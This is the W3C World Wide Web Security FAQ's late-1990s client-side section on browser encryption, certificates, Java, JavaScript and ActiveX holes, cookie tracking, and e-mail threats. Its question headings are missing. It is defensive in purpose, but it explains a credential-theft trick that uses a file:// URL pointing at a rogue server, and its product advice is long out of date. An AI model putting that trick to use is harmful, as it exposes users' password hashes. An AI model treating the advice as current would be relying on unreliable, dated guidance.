![[W3C]](i/w3c_home.gif){kind=small}
The World Wide Web Security FAQ
The World Wide Web Security FAQ
 Up to Table of Contents | ||
 Back to General Questions | Forward to Server Side Security |
To turn this warning off, select Preferences from Netscape's Options menu, choose "Images and Security", and uncheck the checkbox labeled "Warn before submitting forms insecurely."
Netscape servers and browsers do encryption using either a 40-bit secret key or a 128-bit secret key. Many people feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack (trying each of the 2^40 possible keys until you find the one that decrypts the message). This was in fact demonstrated in 1995 when a French researcher used a network of workstations to crack a 40-bit encrypted message in a little over a week. It is thought that with specialized hardware, 40-bit messages can be cracked in minutes to hours. Using a 128-bit key eliminates this problem because there are 2^128 instead of 2^40 possible keys. To crack a message encrypted with such a key by brute force would take significantly longer than the age of the universe using conventional technology. Unfortunately, many Netscape users have browsers that support only 40-bit secret keys. This is because of legal restrictions on the encryption software that can be exported from the United States.
In Netscape versions 3.X and earlier you can tell what kind of encryption is in use for a particular document by looking at the "document" information" screen accessible from the file menu. The little key in the lower left-hand corner of the Netscape window also indicates this information. A solid key with three teeth means 128-bit encryption, a solid key with two teeth means 40-bit encryption, and a broken key means no encryption. Even if your browser supports 128-bit encryption, it may use 40-bit encryption when talking to older servers or to servers outside the U.S. and Canada.
In Netscape versions 4.X and higher, click on the "Security" button to determine whether the current page is encrypted, and, if so, what level of encryption is in use.
In Microsoft Internet Explorer, a solid padlock will appear on the bottom right of the screen when encryption is in use. To determine whether 40-bit or 128-bit encryption is in effect, open the document information page using File->Properties. This will indicate whether "weak" or "strong" encryption is in use.
Because the attack requires many messages to be sent to the Web server, you may be able to detect it by noting an increase in CPU or memory usage, or unusually high network activity. In addition, products based on the SSLEay library, such as C2Net's Stronghold product, will observe a sudden growth in the SSL error log by approximately 300 MB.
Any SSL-enabled Web server dated earlier than June 1998 should be considered vulnerable to this attack. Patches are available for the following products:
Personal certificates not widely used on the Web. Their major use is within corporate intranets, where the possession of a certificate is used to control access to confidential information on the corporate Web server. However, many people think that personal certificates will be used in the not-so-distant future as legally binding electronic signatures in Internet-based financial and legal transactions.
How secure are personal certificates? Personal certificates use public key cryptography to sign and authenticate signatures. As described in the SSL Q&A, the security of public key cryptography depends entirely on the secrecy of the user's private key. When you apply for a digital certificate, a private key is automatically generated for you and saved to the hard disk of your computer. During this generation process, you are prompted for a password, which will be used to encrypt the private key before saving it to disk. This precaution lowers the risk that the key will be intercepted if the computer is compromised either physically or over the network.
Unfortunately this scheme is not foolproof because the private key is only as secure as the software that manipulates it. As described in the sections below, there are numerous known and potential security holes in browser software. If one of these holes is exploited to install new software on your computer or to modify the browser itself, then it is possible for the software to recover the private key from memory after it has been decrypted. Once your private key has been intercepted, it can be used to impersonate you: to gain access to Web sites, to send S/MIME messages in your name, or, at some point in the future, to sign binding legal documents.
In addition to the weaknesses of the software infrastructure, some security consultants have voiced particular concern about the security of the cipher system that Microsoft Internet Explorer uses to encrypt the private key. The issues are obscure, controversial, and differ from version to version of IE. Under some circumstances Internet Explorer can be persuaded to export the private keys using weak 40-bit encryption, a level of encryption that is known to be vulnerable to brute-force key guessing attacks. In other cases, the private key is vulnerable to fast "dictionary" attacks. Full details can be found in an article written by Peter Gutmann (pgut001@cs.auckland.ac.nz ):
http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt
The use of cryptography is regulated by a complex web of national and international laws. In some countries, such as the United States, it is legal to use strong cryptography but software that implements it cannot be exported. In other countries, such as France, it is illegal to use strong cryptography at all.
The laws are changing rapidly. As I was writing this update in December 1998, the 33 countries in the Wassenaar Arrangement had agreed to establish the same cryptography export controls as the United States. However, it appears that free software, such as SSLEAY, is exempted from these restrictions.
Recently the United States loosened the export restrictions slightly, allowing Web browsers to be used for strong encryption when communicating with financial institutions or when an American-owned company overseas needs to browse its home office's Web site. Server certificates that allow for these specific exemptions can be obtained from VeriSign through its "step-up" program.
More information on the legalities and politics of cryptography can be found at The Free Crypto Website.
You may occasionally see a similar message that warns you that the server's certificate has expired. This may mean that the Webmaster hasn't renewed the site's certificate in a timely fashion, or may again indicate that the certificate has been stolen and is being misused. Again, the safest course is to abort the transmission.
When a Web site presents your browser with a certificate signed by some authority, the browser will look up the authority's signature in its predefined list. If the browser finds the signature, it will allow the SSL connection to continue. Otherwise it complains that it doesn't recognize the certifying authority.
When this happens, the options available to you depend on the browser you are using. If you are using a Netscape browser, the software offers you the option of reviewing the site's certificate and the signature of the certifying authority. If you decide to proceed, you can recognize the validity of the certificate, either for this one session, or for future sessions. If you accept the certificate, it will be installed in the browser among the CA certificates, and the SSL connection will be completed. Internet Explorer does not give you this option. In order to connect to the site, you will need to obtain a copy of the certifying authority's certificate and install it. This is discussed below.
Is it safe to accept a site certificate signed by an unknown certifying authority? If you have an older browser, it is likely that the certifying authority is legitimate but entered the business after the browser software was released. Another real possibility, however, is that the certificate is signed by a rogue CA -- there's nothing to prevent a site from obtaining public domain certificate software and creating its own signed certificates. Never accept a site certificate blindly. Review it first, and contact the certifying authority directly (by phone) if you have any questions as to its legitimacy. If you can't easily determine how to contact the certifying authority, chances are that it isn't legitimate.
It is possible to install new certifying authorities in the browser. You do this by opening a URL that points to the certifying authority's certificate. The browser will present a warning dialog telling you that you are about to install a new CA certificate and giving you a chance to abort. If you proceed, the certificate will be installed and the CA will appear on the list of trusted authorities. All sites bearing certificates signed by this CA will now be trusted to initiate SSL connections.
Because of its security implications, you should be very careful before installing a new CA certificate. Never accept a CA certificate unless you know exactly what you are doing and have a priori evidence that the CA is to be trusted. For example, many companies are now establishing internal certifying authorities to sign the certificates of intranet servers. If your employer gives you a floppy disk with instructions for installing the certificate contained within it, you can feel pretty safe accepting the certificate. If, however, the CA installation dialog ever appears unexpectedly while you're browsing the Internet, be sure to cancel immediately and complain to the remote site's Webmaster.
The contents of queries in forms submitted using the GET request appear in the server log files because the query is submitted as part of the URL. However, when a query is submitted as a POST request (which is often the case when submitting a fill-out form), the data you submit doesn't get logged. If you are concerned about the contents of a keyword search appearing in a public log somewhere, check whether the search script uses the GET or POST method. The easiest technique is to try an innocuous query first. If the contents of the query appear in the URL of the retrieved document, then they probably appear in the remote server's logs too.
Server/browser combinations that use data encryption, such as Netsite/Netscape, encrypt the URL request. Furthermore the encrypted request, because it is submitted as a POST request, does not appear in the server logs.
JavaScript is a series of extensions to the HTML language designed by the Netscape Corporation and understood by Netscape Navigator versions 2.0 and higher, as well as by Microsoft Internet Explorer version 3.0 and higher (where it is called "JScript"). It's an interpreted language designed for controlling the browser; it has the ability to open and close windows, manipulate form elements, adjust browser settings, and download and execute Java applets.
Although JavaScript has a similar syntax to Java, it is quite distinct in many ways.
Several failsafes are built into Java to prevent it from compromising the remote user's machine. When running as applets, Java scripts are restricted with respect to what they are allowed to do by a "security manager" object. The security manager does not ordinarily allow applets to execute arbitrary system commands, to load system libraries, or to open up system device drivers such as disk drives. In addition, scripts are generally limited to reading and writing to files in a user-designated directory only (the HotJava browser allows you to set this directory, while Netscape disallows all file manipulation).
Applets are also limited in the network connections they can make: An applet is only allowed to make a network connection back to the server from which it was downloaded. This is important for reasons discussed below.
Finally, the security manager allows Java applets to read and write to the network, read and write to the local disk, but not both. This limitation was created to reduce the risk of an Applet spying on the user's private documents and transmitting the information back to the server. Since the Netscape implementation disables all local file manipulation anyway, this restriction is currently moot.
A variety of other bugs have been identified and fixed, and it is the author's personal opinion is that Java is a far better alternative than the other forms of active content, which provide little, if any security.
Some people, however, feel differently. For example, Princeton computer scientist Edward Felten feels that there are fundamental problems with the design of the language itself. His 1996 paper Java Security: From HotJava to Netscape and Beyond, which was published in the 1996 IEEE Symposium on Security and Privacy, concludes with the following sobering assessment:
We conclude that the Java system in its current form cannot easily be made secure. Significant redesign of the language, the bytecode format, and the runtime system appear to be necessary steps toward building a higher-assurance system.
If you are security conscious, you might wish to take the safest course and deactivate Java completely. In Netscape Navigator 2.0-3.02, you can do this by unchecking the "Java" option in Options->Network Preferences->Languages. In Internet Explorer 3.02, uncheck "Enable Java Programs" in the View->Options->Security->Active Content window.
Deactivating Java is harder in the 4.0 versions of both Navigator and Internet Explorer. In Netscape Navigator 4.0, select Edit->Preferences from the menu bar, then select the "Advanced" category. Locate the "Enable Java" checkbox and deselect it.
In IE 4.0, select View->Internet Options->Security, select the Internet Zone, and select "Custom" settings. Now press the "Settings..." button and scroll down to the Java settings. Choose "Disable Java."
Below are some of the older security holes present in the Java implementations distributed with various versions of Netscape and Internet Explorer.
This bug is present in versions 2.0 and 2.01 of Netscape. It has been fixed in versions 2.02 and 3.0x.
More information on this bug can be found at
http://www.cs.princeton.edu/sip
If an applet appears to be behaving improperly, closing the page from which it originated does not necessarily shut it down. It may be necessary to shut off the browser entirely.
Applets are supposed to be able to talk only to the server that they originated from. However in early March 1996, Steve Gibbons ( mailto:sgibbo@amexdns.amex-trs.com) and Drew Dean (ddean@CS.Princeton.EDU) independently discovered holes in the implementation that allows Applets to make connections to any host on the Internet. This is a serious problem: once downloaded to a user's machine, the applet can now attempt to make a connection to any machine on the user's local area network, even if the LAN is protected by a firewall. Many LANs are set up so that local machines are trusted to access services that distant machines are not. As a trivial example, an Applet could open up a connection to the organization's private news server, fetch recent postings to an internal newsgroup, and transmit them back to a foreign host.
Unix users who are familiar with the Berkeley
rsh, rlogin and rcp commands
will see that this bug represents a risk to systems that
trust each other enough to allow commands to be executed remotely.
This bug also makes it possible for Applets to collect detailed
information on network topology and name services from behind
a firewall.
This security hole involves Java's trusting use of the Domain Name System (DNS) to confirm that it is allowed to contact a particular host. A malfeasant using his own DNS server can create a bogus DNS entry to fool the Java system into thinking that a script is allowed to talk to a host that it is not authorized to contact.
More information about Java and security can be found at URL:
http://java.sun.com/sfaq/
A bug in the JavaScript implementation in Netscape Communicator 4.5 and 4.04-4.05 allows a Web page to read arbitrary files from the user's machine and transmitted across the Internet. Any file that can be read with the user's permissions is vulnerable, including the system password file. The bug affects both Windows and Unix versions of Communicator. Any HTML page can carry this exploit, including ones that are transmitted as an e-mail enclosure. Internet Explorer has not been reported to be vulnerable.
See http://www.microsoft.com/security/bulletins/ms98-015.asp for Microsoft's description of the bug and a patch file to fix it.
A hole in the Windows versions of Netscape Navigator 3.04, 4.07 and 4.5 allows remote sites to read URLs from the browser cache, allowing them to intercept the list of sites recently visited by the user. This bug is described in a Netscape security note. Mac OS and Unix versions are not affected. No patch is currently available for these software versions.
The implications of this hole is that a JavaScript enabled page can open the preferences file and upload all information contained within it to a remote server. This can be exploited to capture visitors' e-mail addresses and to gather information about the user's network configuration. The worst risk is that the user's e-mail password will be disclosed. Since the e-mail password is, in many cases, the same as the user's LAN login password, this exposes organizations to a potential route of attack.
All versions of Netscape Communicator through 4.04 are vulnerable. Netscape version 4.05 reportedly fixes the problem. Please upgrade at your earliest convenience. Of course, deactivating JavaScript is also an effective solution, and protects you against other bugs that are likely to be lurking in the JavaScript system.
This bug was uncovered by French software consultant Fernand Portela. More information is available at his Web site at:
http://www.mygale.org/~nando
The bug, discovered by German consultant Ralf Hueskes and known as the "Freiburg attack," involves the trick of using JavaScript to create an invisible frame 1x1 pixel wide. While the unsuspecting user browses the remote site, a JavaScript program running in the invisible frame scans the user's local machine and file shares for files with well-known names, and may then upload them to any site on the Internet. The bug does not allow JavaScript to modify or damage files. Microsoft has issued a patch for this bug, available at:
http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm
More information on the bug can also be found at:
http://www.jabadoo.de/press/ie4_us_old.html
Most variants of the bug involve the ability of JavaScript pages to open up an invisible window. Because the user can't see the window, she isn't aware that a JavaScript program continues to run even after leaving the page that launched the script. Other variants of the bug open up a new browser window and entice the user into using the window for subsequent browsing.
Despite many attempts to quash this group of bugs, variants reappear at almost monthly intervals and go under such cute names as "the Bell labs bug," the "Singapore bug" and the "Santa Barbara bug." There have been so many patches and releases, it's difficult to keep track. However the following browsers are known to be vulnerable:
More information on these bugs can be found at the locations listed below. Check here for updates and code patches:
JavaScript closes some of the holes but not others. A JavaScript can't recover the URL of a document downloaded from another site, but it appears that it can steal a listing of the following document elements:
A demo of this exploit can be found at http://www.genome.wi.mit.edu/~lstein/crossframes. Although it only captures inline image information from a single document, be aware that it could catch all the image URLs you view and upload them to a server somewhere.
This bug affects Netscape Navigator 3.0, 3.01 and Netscape Communicator 4.01. It is fixed in 4.02 and 3.03. It does not affect Navigator 2.X or Internet Explorer.
In order to exploit this bug, the remote server must know the name of the local file in advance. However, this is still a big problem. A large amount of sensitive information, including system passwords, are stored in files with known names.
Netscape Navigator 2.0, 3.0, 3.01 and Netscape Communicator 4.0 are all affected by this bug. Netscape Communicator 4.01, released June 21, contains a patch for this problem. Version 3.02 of Netscape Navigator is also expected to correct the problem. The most recent versions of these browsers are available at Netscape's Web site.
http://www.osf.org/~loverso/javascript/
These JavaScript bugs have been closed in Netscape Navigator versions 3.0 and higher. The exception is the e-mail address capture hole, which was closed in version 2.01 but reappeared again in version 3.0. This hole has again been closed in version 3.01, which offers a checkbox in the Network & Security Options dialog box to warn you before Navigator sends e-mail in your name. Microsoft Internet Explorer, which supports a dialect of JavaScript, has a similar option in its Options window.
In Microsoft Internet Explorer 4.0, the new "Security Zones" feature, which was designed to make the Internet safer, actually makes it difficult to turn off JavaScript, since it is active even when "High Security" is selected. To do this, go to View->Internet Options->Internet Security, and select the "Internet Zone". Now select the radio button labeled "Custom" and press the adjacent "Settings..." button. Scroll down to the bottom of the option list, and disable the option labeled "Active Scripting."
In Netscape Navigator 4.0, you should follow the procedure outlined above for disabling Java.
The ActiveX security model is considerably different from Java applets. Java achieves security by restricting the behavior of applets to a set of safe actions. ActiveX, on the other hand, places no restrictions on what a control can do. Instead, each ActiveX control can be digitally "signed" by its author in such a way that the signature cannot be altered or repudiated using a system called "Authenticode." The digital signatures are then certified by a trusted "certifying authority", such as VeriSign, to create the equivalent of a shrink-wrapped software package. When a digital certificate is granted, the software developer pledges that the software is free from viruses and other malicious components. If you download a signed ActiveX control and it crashes your machine, you'll at least know who to blame.
This security model places the responsibility for the computer system's security squarely on the user's head. Before the browser downloads an ActiveX control that hasn't been signed at all, or that has been signed but certified by an unknown certifying authority, the browser presents a dialog box warning the user that this action may not be safe. The user can elect to abort the transfer, or may continue the transfer and take his chances.
The ActiveX certification process ensures that ActiveX controls cannot be distributed anonymously and that a control cannot be tampered with by third parties after its publication. However, the certification process does not ensure that a control will be well-behaved. Although it is unlikely that signed and certified ActiveX controls will behave in a malicious fashion, it is not impossible. To illustrate this point, software developer Fred McLain (mclain@halcyon.com) recently published an ActiveX control named Exploder. This control, which has been fully signed and certified, performs a clean shutdown of any Windows95 machine that downloads it. The shutdown occurs automatically soon after the user views an HTML page that contains the Exploder control (using Microsoft Internet Explorer version 3.0 or higher). After learning about Exploder, Microsoft and Verisign jointly revoked Fred McLain's certified digital signature, claiming that he had violated the agreement made when the certification was issued. Therefore, if you are running a newer version of Internet Explorer, you'll see a message that Exploder's software certificate is invalid.
While Exploder does not cause any data loss, a less friendly control might reformat the user's hard disk or plant a virus. In fact, a series of highly malicious ActiveX controls have been created and distributed by the Chaos Computer Club (CCC) of Hamburg, Germany. They are unsigned controls, meaning that with its default settings in place, Internet Explorer will warn the user that they are not to be trusted. However, naive users who have changed Internet Explorer's restrictions on active content to "Low Security", or who agree to download and execute the controls despite the warnings, are vulnerable to attack by this means.
The main problem with the ActiveX security model is that it is difficult to track down a control that has taken some subtle action, such as silently transmitting confidential configuration information from the user's computer to a server on the Internet, seeding the LAN with a virus, or even patching Internet Explorer so that the code authentication engine no longer functions correctly. This type of action may escape detection completely, or at least for a long period of time. Even if the damage is detected immediately, Internet Explorer offers no secure audit trail that records which ActiveX controls were downloaded. This makes identifying the control responsible for damaging your system a non-trivial task.
ActiveX can be turned off completely from the Internet Options->Security pages of Microsoft Internet Explorer. Choose the "High Security" setting to disable ActiveX completely, or "Medium Security" to prompt you before downloading and executing ActiveX controls. If you do allow a control to run, read its Authenticode certificate carefully, and then carefully commit its name, publisher, date and the time of download to hardcopy. Don't store this information on disk, since that medium can easily be altered or destroyed by the control itself! The "Low Security" option allows any ActiveX control to run, signed or not, and is not recommended.
IE 4.0 allows you to customize the behavior of ActiveX controls depending on whether they are coming from a site on the Internet, a site on the local area network, or a site on specially-prepared lists of trusted and untrusted sites.
Cookies solve this problem. A cookie is a small piece of information, often no more than a short session identifier, that the HTTP server sends to the browser when the browser connects for the first time. Thereafter, the browser returns a copy of the cookie to the server each time it connects. Typically the server uses the cookie to remember the user and to maintain the illusion of a "session" that spans multiple pages. Because cookies are not part of the standard HTTP specification, only some browsers support them: currently Microsoft Internet Explorer 3.0 and higher, and Netscape Navigator 2.0 and higher. The server and/or its CGI scripts must also know about cookies in order to take advantage of them.
Cookies contain attributes that tell the browser what servers to send them to. The "domain" attribute tells the browser which host names the cookie should be returned to, and the "path" attribute indicates what URL paths within that domain are valid. For instance, a domain of "megacorp.com" and a path of "/users" tells the browser to return the cookie to hosts with names like "ftp.megacorp.com" and "www.megacorp.com", and to do so only when requesting URLs that start with the path "/users". An important security measure prevents the cookie's domain from being set to top-level domains like ".com". This prevents someone from creating a promiscuous cookie that will be returned to any server.
However cookies can be used for more controversial purposes. Each access your browser makes to a Web site leaves some information about you behind, creating a gossamer trail across the Internet. Among the tidbits of data left along this trail are the name and IP address of your computer, the brand of browser you're using, the operating system you're running, the URL of the Web page you accessed, and the URL of the page you were last viewing. Without cookies, it would be nearly impossible for anyone to follow this trail systematically to learn much about your Web browsing habits. They would have to reconstruct your path by correlating hundreds or thousands of individual server logs. With cookies, the situation changes considerably.
The DoubleClick Network is a system created by the DoubleClick Corporation to create profiles of individuals using the World Wide Web and to present them with advertising banners customized to their interests. DoubleClick's primary customers are Web sites looking to advertise their services. Each member of the DoubleClick Network becomes a host for the advertising of other members of the network. When a Web site joins DoubleClick it creates advertisements for its services and submits them to DoubleClick's server. The Web site then modifies its HTML pages to include an <IMG> graphic that points to DoubleClick. When a user goes to view one of these modified HTML pages, her browser makes a call to DoubleClick's server to retrieve the graphic. The server chooses one of its member's advertisements and returns it to the browser. If the user reloads the page, a different advertisement appears. If the user clicks on the graphic, her browser jumps to the advertised site. Currently many hundreds of sites belong to DoubleClick.
From the user's point of view DoubleClick's graphics appear no different from any other Web advertisement, and there's no visible indication of anything special about the graphic. However, there is an important difference. When a user first connects to the DoubleClick server to retrieve a graphic, the server assigns the browser a cookie that contains a unique identification number. From that time forward whenever the user connects to any Web site that subscribes to the DoubleClick Network, her browser returns the identification number to DoubleClick's server, allowing the server to recognize her. Over a period of time DoubleClick compiles a list of which member sites the user has visited and revisited, using this information to create a profile of the user's tastes and interests. With this profile in hand the DoubleClick server can select advertising that is likely to be of interest to the user. It can also use this information to compile valuable feedback for its member Web sites, such as providing them with audience profiles and rating the effectiveness of the advertisements.
Although names and e-mail addresses are not part of
the information that DoubleClick records, other information that the
browser leaves behind is sufficient, in many cases, to identify the
user. See Server Logs and Privacy for more
information. For this reason many people are uncomfortable with
DoubleClick's use of cookies. To find out whether you have been
tracked by DoubleClick, examine your browser's cookies file. On Unix
systems using Netscape, the cookies file can be found in your home
directory in the file ~/.netscape/cookies. If a line like
this appears:
then you are carrying a DoubleClick cookie.ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5
Windows users will find the equivalent information in the file
cookies.txt, located in their
C:\Programs\Netscape\Navigator directory, while Macintosh
users should look in their System Folder under Preferences:Netscape.
Users of Microsoft Internet Explorer should examine the files located
in C:\Windows\Cookies.
Current versions of both Netscape Navigator and Internet Explorer offer the option of alerting you whenever a server attempts to give your browser a cookie. If you turn this alert on, you will have the option of refusing cookies. You should also manually delete any cookies that you have already collected. The easiest way to do this is to remove the cookies file entirely.
The drawback to this scheme is that many servers will offer the same cookie repeatedly even after you refuse to accept the first one. This rapidly leads to a nuisance situation. Before you panic over cookies, it's worth remembering that the vast majority of cookies are benign attempts to improve your Web browsing experience, not intrusions on your privacy. Netscape Navigator 4.0 provides a new feature that allows you to refuse cookies that are issued from sites other than the main page you are viewing. This foils most DoubleClick schemes without interfering with the more benign cookies. To access this option, select Edit->Preferences->Advanced, and select the appropriate radio button from the cookies section.
Some people might want to allow transient cookies (ones active only during a browsing session) but forbid persistent ones (ones that store user identification information over an extended period). On Unix systems, you can do this easily by creating a symbolic link between the Unix "bit bucket" device, /dev/null and the cookies file. Users of other operating systems may have to invest in third party products that intercept cookies. A representative listing of such products follows:
However, unless this type of system is implemented carefully, it may be vulnerable to exploitation by unscrupulous third parties. For instance, an eavesdropper armed with a packet sniffer could simply intercept the cookie as it passes from your browser to the server, using it to obtain free access to the site. Because browsers use the domain name system (DNS) to determine what cookies belong to a server, it is possible to trick a browser into sending a cookie to a rogue server by temporarily subverting the DNS. If the cookie is persistent, of course, it is also vulnerable to being stolen from the user's cookie database file.
Now consider a transaction processing systems that uses cookies as session IDs to preserve state during the steps of a multi-part transaction. Examples of such systems include a system that allows authorized employees to update records in a corporate database, an on-line ordering system, or a bank transaction system. If care is not taken to protect the cookie from interception, it is possible for an interloper to hijack the transaction and use it to make unauthorized transactions.
Designers of systems that use cookies for authentication and state-preservation should be alert to the possibility of cookie interception. Cookies should aways contain as little private information as possible. In particular, it is never appropriate for cookies to contain plaintext user names and passwords. In ISP environments where many users share the same Web server, it is important to use as specific a path as possible in the cookie. For instance, if the program that processes cookies lives at URL http://bigISP.com/users/fred/order.cgi, then the developer should arrange for the cookie path to be set to /users/fred/order.cgi rather than a more general path like /.
If possible, cookies should contain information that allows the system to verify that the person using them is authorized to do so. A popular scheme is to include the following information in cookies:
The MAC code is there to ensure that none of the fields of the cookie have been tampered with. There are many ways to compute a MAC, most of which rely on one-way hash algorithms such as MD5 or SHA to create a unique fingerprint for the data within the cookie. Here's a simple but relatively secure technique that uses MD5:
MAC = MD5("secret key " +
MD5("session ID" + "issue date" +
"expiration time" + "IP address" +
"secret key")
)
This hash value is now incorporated into the cookie data. Later, when the cookie is returned to the server, the software should verify that the cookie hasn't expired and is being returned by the proper IP address. Then it should regenerate the MAC from the data fields, and compare that to the MAC in the cookie. If they match, there's little chance that the cookie has been tampered with.
Perl programmers can take advantage of the HMAC algorithm, a slightly more sophisticated technique that has been incorporated into a module by Gisle Aas. It is available at CPAN in the module MD5::Digest.
An alternative method is to encrypt the entire cookie with an encryption algorithm such as DES, IDEA or RC4. For more information on using encryption and hash algorithms, see the cryptography references at the end of this document.
For extremely sensitive applications, developers should probably encrypt the entire channel between browser and server using a non-crippled version of SSL. The cookie will be encrypted along with the rest of the data stream in such a way that network eavesdroppers cannot intercept the cookie without first cracking the encryption. To avoid the cookie being inadvertently disclosed across a non-secure channel, developers should set the "secure" attribute so that the browser only transmits the cookie when SSL is in effect.
For many years the answer to this question was a resounding no and that is largely the case now as well. There are a series of hoax chain letters that are seemingly endlessly circulating around the globe. A typical letter is the "Good Times" hoax. It will warn you that if you see an e-mail with a subject line that contains the phrase "Good Times" you should delete it immediately because the very fact of opening it will activate a virus that will do damage to your hard disk. The letter will encourage you to send this warning to your friends.
The "Good Times" hoax, and many like it, are simply not true. However there are enough people who believe these hoaxes that the messages are endlessly forwarded and reforwarded. If you get a letter like this one, simply delete it. Do not forward it to your friends, and please do not forward it to any mailing lists. If you are uncertain whether the letter is a hoax, refer it to your system administrator or network security officer.
Just to make life complicated, however, there are some cases in which the simple act of opening an e-mail message can damage your system. The newer generation of e-mail readers, including the one built into Netscape Communicator, Microsoft Outlook Express, and Qualcomm Eudora all allow e-mail attachments to contain "active content" such as ActiveX controls or JavaScript programs. As explained in the JavaScript and in the ActiveX sections, active content provides a variety of backdoors that can violate your privacy or perhaps inflict more serious harm. Until the various problems are shaken out of JavaScript and ActiveX, enclosures that might contain active content should be opened cautiously. This includes HTML pages and links to HTML pages. Disabling JavaScript and ActiveX will immunize you to potential problems.
In addition, there are other cases where e-mail messages can be harmful to your health. In the summer of 1998, a number of programming blunders were discovered in e-mail readers from Qualcomm, Netscape and Microsoft. These blunders (which involved overflowing static buffers) allowed a carefully crafted e-mail message to crash your computer or damage its contents. No actual cases of damage arising from these holes has been described, but if you are cautious you should upgrade to a fixed version of your e-mail reader. More details can be found at the vendors' security pages:
Finally, don't forget that some documents do carry viruses. For example, Microsoft Word, Excel and PowerPoint all support macro languages that have been used to write viruses. Naturally enough, if you use any of these programs and receive an e-mail message that contains one of these documents as an enclosure, your system may be infected when you open that enclosure. An up-to-date virus checking program will usually catch these viruses before they can attack. Some virus checkers that recognize macro viruses include:
There are many variants of this question, and the answer to them all is yes. If a site publishes public (not password-protected) pages on the Web, there is nothing to stop anyone who wants to from copying the entire site and setting up a server that uses the pirated content. It is surprisingly easy to do this; there are many Perl "spiders" that will copy an entire site with a single command, and even Internet Explorer has a simple built-in spider. Sometimes this activity is legitimate, such as when someone sets up a mirror site of a public document (for example, the the WWW Security FAQ is mirrored in this way), but sometimes it is out-and-out piracy.
The implication of this is that you should be a little careful about trusting what you see on the screen. Popular sites often are surrounded by non-affiliated sites with similar names that exploit peoples' tendency to make typographical errors when entering URLs. For example, try http://www.nescape.com or http://www.mcrosoft.com/. Always check double-check the URL of the site you are accessing before submitting personal or confidential information to it.
Although difficult, it is possible in some cases for a site to temporarily "spoof" the domain name system so that a URL points to the wrong server. In this case both the URL and the content will look right, but the server you are communicating with is not the one you think it is. If the site uses SSL, one way to confirm its identity is to check the site's digital certificate. If the site is supposed to be using SSL, but isn't, this is a cause for suspicion.
However, even when the URL and certificate agree you cannot always be sure that a page contains the content approved by the Web site. In November 1998, a breathtaking flaw came to light in the implementation of frames in recent versions of Netscape Navigator and Microsoft Internet Explorer. By exploiting this bug, a malicious Web site can insert its own content into one or more frames of a trusted Web site. This will make the content appear to be coming from the trusted site, but in actually it comes from a untrusted third party. The URL will appear to be correct, and not even the digital certificate can be used to tell otherwise! This bug is described in the following URLs:
A related question frequently asked by Webmasters is how to prevent their material from being hijacked. If the concern is that someone will copy a public document across the Internet and then uses it for their own ends, the sad answer is that there is no way to avoid this. However, there are a number of techniques for digitally "watermarking" copyrighted images, sound samples, and other binary formats in order to discourage their use and to prosecute offenders. For collections of links to products that offer this technology, see the Bilderbank digital watermarking pages, and Alessandro Piva's digital watermarking pages, and Digital watermarking, steganograph & information hiding.
If, on the other hand, the concern is that unscrupulous sites are linking to your CGI scripts and images without authorization, essentially freeloading on your site, then you may be able to prevent this by using the Referer field to restrict access. This requires you to have a Web server that can filter requests based on arbitrary HTTP request fields. You will want to allow requests by older clients that have no Referer field defined, and those whose Referer field points back to one of your site's pages. Clients whose Referer field is from an unrelated site are refused acccess. This will prevent remote sites from using your site as the target of their <IMG> and <FORM> tags.
The Apache Web server, when equipped with the optional mod_rewrite module, can accomplish this with the following series of directives:
RewriteCond %{HTTP_REFERER} !^$ # Referer field exists
RewriteCond %{HTTP_REFERER} !^http://my.site.com/ [NC] # and not my site
RewriteRule [^/]+\.(gif|jpg)$ - [F] # No access to images
RewriteRule ^/cgi-bin/.+$ - [F] # No access to
CGIs
See your vendor's documentation to determine whether the Web server you use provides this capability.
If intruders succeed in inflicting damage on your organization's systems, the damages will appear to have caused by you, and you'll have some explaining to do. Even if you are not connected to a LAN, you still have cause to worry. If you have at any point turned on Windows-based file sharing, your personal files can be stolen or damaged during the period of time you are connected to the Internet through an ISP.
A total of three separate, but related bugs have been discovered. The first bug was reported on March 14, 1997 by Aaron Spanger and so far has not been fixed. It affects Internet Explorer versions 3.01 and lower (including those with Microsoft's security patches), running under Windows 95, Windows NT and Windows 97. Netscape Navigator 3.01 (regular and gold) and Netscape Communicator beta2 browsers are also vulnerable when running on Windows NT systems, and under some, but not other, Windows 95 systems (results are mixed). A description and demonstration is available at:
http://www.ee.washington.edu/computing/iebug/
The second bug, discovered by Paul Ashton on the heels of the first, affects IE (3.01 and lower) running on Windows NT 3.51/4.0 (both server and workstation versions). It is described at:
http://www.efsl.com/security/ntie/
The second bug, reported on March 17, 1997 by Steve Birnbaum, affects Microsoft Internet Explorer (version 3.01 and lower) when running on Windows 95. It is described at:
http://www.security.org.il/msnetbreak/
These bugs all involve Microsoft's "challenge/response" mode of user authentication used for file sharing. Here's a slightly simplified explanation. When a client attempts to contact a server (whether a file server, a web server or a shared printer), the server sends the client a short, randomly chosen challenge string called a "nonce." The client encrypts the challenge using the user's password, and sends the encrypted challenge, the user's name, and other identifying information back to the server. The server looks up the user in its password database, finds the user's password, and uses the password to encrypt the challenge. This is now compared to what that the client sent back, and if they match, the server confirms that the user knows the right password without the password ever having been sent over the network. Note that the thing being encrypted is not the "secret" in this case, but the password used as the encryption key.
If either IE or Netscape sees a URL of the form:
(where "aa.bb.cc.dd" is the Internet address of the remote server), it will attempt to access the file as if it were a file on the local LAN, and attempts to authenticate itself through the challenge/response system described above. This is all done quietly without any notification to the user.file://\\aa.bb.cc.ddd\path\to\file
During a password-theft attack, the host at this location is running a specially modified version of the Windows filesharing server that sends a constant challenge string each time instead of a randomly chosen one. Your computer trustingly encrypts the challenge with your password and sends it back to the server. The server is now free to compare your encrypted password to a dictionary containing tens of thousands of passwords that have previously been used to encrypt the challenge. If it finds a match, it has successfully guessed your password (this is known as a "dictionary attack"). Because many people pick easily-guessed passwords, a good dictionary attack can crack an average password about a quarter of the time. Even if the server doesn't guess your password, it has still collected other useful information about you: the name of your computer, your user name, and the name of your Windows domain. Because the source code to a Unix-based Windows filesharing server is widely available, it is relatively easy to create a modified server of this sort.
In the case of the bug discovered by Steve Birnbaum, the password isn't even encrypted. It's sent to the malicious server in plaintext form. This is because Windows 95 uses a less sophisticated authentication system that that described above.
